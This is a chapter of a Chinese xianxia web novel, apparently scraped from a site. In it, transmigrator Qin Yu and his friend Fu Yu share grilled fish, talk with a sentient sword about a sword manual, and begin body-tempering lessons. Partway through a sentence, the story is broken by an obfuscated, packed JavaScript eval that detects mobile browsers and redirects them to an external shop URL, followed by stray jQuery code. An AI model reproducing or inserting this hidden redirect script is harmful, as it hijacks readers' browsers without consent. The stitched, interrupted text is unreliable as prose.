傅瑜盘腿坐在一边,手拿着略显寒酸的木枝两边,正中间是串着的飘香烤鱼。

    平心而论,卖相很好,闻着也很不错,但是自从辟谷之后,族人就鲜少让他食用这些荤腥,说是里面含有的杂质不利于修行。

    傅瑜想了想,还在犹豫着下不下嘴,隔壁秦御早已大快朵颐地伸手要拿第二条了。

    秦御嚼着鱼,侧身向盯着烤鱼一动不动的傅瑜,开口道:“你熬鹰呢?”

    “鱼处理的很干净,也没有死不瞑目,傅小公子赏脸吃一口呗。”

    没有死不瞑目是因为他把鱼头直接切开了,本来以为要费一番功夫,但是本剑不愧是神剑,剑刃快得很。

    秦御打算先劝着傅瑜吃一点,毕竟有前车之鉴——傅瑜太瘦,一阵风就可以把他吹跑。

    不过如果实在不喜欢,秦御也不逼迫人家。毕竟这是个人的喜好,作为一个普通的朋友,他无权干涉。

    ——他可真是开明!

    秦御脸上带着得意的笑,正洋洋自鸣于自己真是善解人意,余光便瞥见傅瑜缓慢低头小口咬住了烤鱼。

    动作十分之小心翼翼,看咀嚼的动作还有些生疏。

    秦御不免好奇:“傅瑜,你这平日饿了,就吃吃辟谷丹吗?”

    傅瑜咽下嘴里的一小口鱼肉,没看秦御,目光晃晃悠悠,也不知道落在哪里,轻声回:“嗯。”

    秦御更好奇了,心道:“这辟谷丹——难道有很多种味道?”

    总不可能真有人愿意吃一样东西,还是一成不变的味道,吃一辈子吧。

    秦御三下五除二把手里的鱼吃了个精光,又磨蹭着贴近傅瑜:“我还没吃过辟谷丹……你吃我鱼了,作为交换,把你辟谷丹给我尝尝呗。”

    傅瑜腾出一只手,在腰间储物袋一划,拿出一个玉瓶,不解道:“之前想给你吃,你还拒绝了,现在怎么主动问我要起来——呐,这个给你。”

    秦御接过小玉瓶,大大咧咧地倒出一颗,往嘴里塞。

    过了两秒,他脸色便和身上的粗麻衣服一般了。

    秦御一脸土色,但不好当着傅瑜的面吐出来,抿抿嘴:“怎么一股中药味。”

    傅瑜没听过“中药”,但是思忖着应该和药差不多,于是回道:“因为是药材炼制的,所以就是药味吧。”

    秦御:“你吃这东西从小吃到大?”

    傅瑜:“嗯……”

    他看着秦御越发震惊的表情,顿了片刻,以免秦御把自己看得太特殊,补充了一句:“世家子弟大部分都是吃这个。”

    秦御也不知道想到了什么,拎起自己的领子嗅了嗅,然后又靠着傅瑜闻了闻。

    傅瑜不自在地往后缩缩脖子。

    “难怪你身上一股药味。”

    秦御感慨。

    他身上就没有,大概原身被判断为废物之后,整天花天酒地、大醉伶仃,自然也用不上这辟谷丹了。

    傅瑜跟着闻了闻自己,没闻出秦御说的药味,他也懒得和秦御扯皮,目光落到了秦御脚边的本剑上。

    傅瑜:“这就是那光点?”

    没什么好隐瞒的,秦御点头:“对,是一柄剑,还诞生了剑灵。”

    傅瑜自然知道一把剑自主诞生剑灵是什么水平,不过他向来内敛,也说不出什么夸张的话:“确实是一把好剑,你和它结契了吗?”

    秦御没回,但傅瑜已经想好了说辞。

    “……不结契也没关系,”傅瑜诚恳对秦御解释,“自行诞生剑灵十分少见,足以说明这把剑品质非凡。不过因为先于你出现,不一定与你契合。”

    秦御想了想,决定把情况如实告知给傅瑜:“它说它有前一任主人,只是目前处于无主的阶段。”

    傅瑜沉默了一会儿,语气好奇:“我还是第一次亲眼见已经封鞘的剑还能被人唤醒。”

    封鞘,就是指剑有剑灵或者灵识时,在主人寂灭时,自行陷入沉睡。

    本剑没忍住洋洋得意:“这说明我们契合度很高啊。”

    秦御又往本剑那边靠过去:“意思是我可以拿着你大杀四方吗?”

    他还真想知道这件事。

    毕竟无论是小说里还是现实中,本剑听起来都派头十足。

    本剑:“……”

    你确实有天赋我承认,但是总不能让一个三脚猫功夫都不会的人上去杀四方吧。

    而且四方没惹你吧。

    傅瑜偏头藏起自己的表情,但是耸动肩无疑说明他正在笑。

    秦御扒拉了一下安静如鸡的本剑,脸上还带着笑容:“你说句话,是就是,不是就不是。”

    傅瑜转过身:“得了,别为难它,走都不会,还想着跑。”

    秦御就在等傅瑜转回来。

    随便说什么都行。

    傅瑜被秦御拉住了手,被拉着偏了一下身。

    秦御像是把傅瑜介绍给长辈一般,面对着本剑,激情介绍:“虽然我现在还不会走,但是——傅瑜,我最亲爱的兄弟,他能带我飞!”

    本剑:“……”

    傅瑜:“……”

    傅瑜试图收回自己的手,没扯动。

    怎么感觉有点丢人。

    他面无表情地想。

    秦御笑眯眯凑过去:“干嘛板着脸,我就问你,当时逃跑的时候,是不是你拉着我一路跑的?”

    他可是还记得那宛如过山车似的经历!直到现在想起胃里还隐隐翻江倒海。

    虽然知道这不是傅瑜的问题,但还是忍不住想要诉说一二。

    即使不知道秦御要干什么,傅瑜还是不情不愿地配合了他:“…是。”

    秦御得了回应,高高兴兴地对本剑说:“你没感受过那种拉扯感吧——像是溜溜球一样,被扯来扯去,以为脸要着地,结果又被拽了起来。”

    本剑犹犹豫豫:“我应该知道吗?”

    秦御的用词实在是怪,掺杂着很多没听过的词,但是看边上他那叫傅瑜的朋友没有任何表示。

    本剑觉得大概在它沉睡时诞生了新的东西吧。

    傅瑜自然也是不懂的,但是他已经习惯了秦御的奇妙话语,淡定地低头又咬了一口鱼。

    秦御想了想:“反正就是,傅瑜会把我护在身后,你只能把我护在身前。”

    本剑愤怒了:“哇塞,你这是人话?我是一把剑!你指望着我自己去打架吗?”

    秦御点头。

    本剑听着直摇头:“孺子不可教也!孺子不可教也!我这里天阶剑诀一本,你却想把我当烧火棍用——”

    傅瑜听到天阶剑诀终于愿意抬起了埋在烤鱼上的头。

    他慢吞吞地把嘴擦干净,然后把光秃秃的树枝往火堆里一塞:“我看看。”

    本剑:“……”

    这种天阶剑诀倒也没有说只能给一个人看的规矩,毕竟练习的成本极高,就算给了别人,以他们的天赋也不一定能学会一招两式。

    只不过……就是不知道秦御会不会心存芥蒂。

    本剑自然是偏向秦御的,毕竟秦御怎么说都是认可的主人,它在没有得到他回应就应该乖乖地当一个哑巴。

    它只是一把剑,就算让傅瑜的话落地了,也没有什么负罪感。

    秦御对傅瑜倒是一副狗腿样,对本剑就是横行霸道:“怎么不说话,给他啊。”

    本剑凭空而起,在秦御背上一敲:“秦御,你再叫一下!……傅瑜你把手放到我的剑格处,用神念探视就好了。”

    剑身流光游走,剑格处霜色流转,莹润通透。

    秦御看着傅瑜伸出手,悬于本剑剑格其上,凝神闭眼,那双骨节分明的手被玄色露指手套包裹着,指尖光滑,但在有些地方还是可以隐隐看见一些习武留下的茧。

    他忽然想起本剑之前说的——傅瑜似乎很熟悉经脉受损之后的处理。

    “明明是世家公子,但是经脉却经常受损吗?”秦御托着下巴思索着,“但是从衣装来看,也不像是会亏待他。”

    ——难道是傅瑜习武练功特别努力?

    秦御还没有想出一个能说服自己的理由,就看见傅瑜收回了手,呼出一口气,看向他,似乎是有话要说。

    秦御:“怎么了?”

    傅瑜言简意赅:“剑诀没有什么大问题,可以练。”

    本剑感觉被这两个人排斥了,半天憋出一句无力的解释:“…我真不会害他。”

    秦御一开

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646131|206798||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    始还以为傅瑜只是好奇这剑诀。

    当然,傅瑜想学也不是不可以。

    毕竟这东西也不是他自己一个人发现的,即是剧情里确确实实只有他一个人修炼了,但现实里多一个人会,他也不会掉一块肉。

    再说,以傅瑜这种看着就很学霸的模样,他学会之后还可以反过来教自己,这是多好的美事。

    秦御对这些机缘的占有欲不是很强,特别是在“大哥”面前。

    吃太多会消化不良。

    秦御深知这句话极其有哲理。

    但是他没料到傅瑜只是检查这剑诀。

    秦御由心地生出几分疑惑:“他对这东西一点也不心动吗?”

    傅瑜没理会本剑,也没法回答秦御内心的不解,继续解释道:“招简意深,剑含天地,确实是好剑诀。配套的心法也是上成,正统纯粹,修行下来根基稳固,潜力无穷。”

    秦御:“那我跟着练?”

    本剑剑身泛起兴奋的光芒,恨不得现在就开始一对一教学。

    傅瑜沉吟片刻摇了摇头:“你…先炼体吧。”

    他掐住秦御的手脉,把秦御现在的身体情况一一告知,几乎是字字诛心:“灵力微薄,经脉孱弱……就像是从来没炼过体一般。”

    他捡起地上的本剑,丢到秦御怀里,道:“你挥两下看看。”

    本剑不沉,大概就一两斤。

    秦御拿在手中,自我感觉还可以。

    上手和想象中完全不一样,他莫名的,从心里涌起一股兴奋——

    侠客梦!行侠仗义!笑傲江湖!

    抱着这种好心态,他在傅瑜的指挥下随意劈砍刺撩扫了几招,就被喊停了。

    傅瑜像个面试官一般,仔仔细细审视着秦御的身法,出招,表情没什么很大的变化。

    秦御不知道哪里来的莫大自信:“怎么样?”

    刚刚步伐进退如风,剑身寒光闪烁,真是简直了!这能忍住不夸吗?!

    傅瑜点头点评,很肯定:“果然没练过。”

    秦御:“……”

    被浇了一桶冷水,秦御还是有些不死心,耷拉着眼,拉住傅瑜的手,问道:“难道就没有任何可取之处吗?”

    傅瑜想了想:“看着力气挺大的。”

    秦御:“……”

    也算是夸吧。

    本剑从他手里挣扎着脱离:“你刚刚用得全是蛮劲啊——你的灵力呢?真只把我当烧火棍玩吗?”

    傅瑜挑眉怼道:“他都没引气入体过,你就想让他带着灵力挥剑,未免有些过于苛刻吧?这和让人先跑再走有什么区别?”

    本剑:“……”

    你俩就是一伙的!

    傅瑜在储物袋里翻了翻,没有找到想要的东西,表情有些沮丧:“可惜我没有备淬体的功法。”

    秦御看出来傅瑜的懊恼,不着痕迹地转移话题:“像是这种淬体的功法有品质区别吗?你学的是哪种?”

    傅瑜眉眼还是垂着:“只要是功法自然有品质区别,但是都万变不离其宗,傅家的是通用功法,就是我没带在身上。”

    “我学的就是那通用功法……不过越到后期越不好学,不知道是不是我哪里学岔了——所以我在家族藏卷阁里自己找了一本学。”

    秦御看得很开,笑吟吟道:“就按你学……的教我就好了。”

    傅瑜有些迟疑:“…可以……吗?”

    他从藏卷阁犄角旮旯的地方翻出来的一本古法炼体,虽然自行修炼到今没出过什么差错,但是毕竟还是有风险的。

    秦御摊手:“我什么都没学,一介莽夫,一张白纸,总不能学得走火入魔吧。”

    傅瑜还在迟疑,但秦御已经表明了自己的态度。

    他有模有样地向傅瑜鞠了一躬:“先向老师问好了。”

    傅瑜偏头,面对如此正经的秦御,竟然生了些不自在:“……不用这么正经,我教你就是了——也不用叫我老师。”

    秦御正经不过一秒,看傅瑜害燥,当即坏笑调侃添上一把火:“这可不行,常言道尊师重道,别的我不管,怎么连一声老师都不许我叫?”

    “小傅老师,你这是教我干坏事吧。”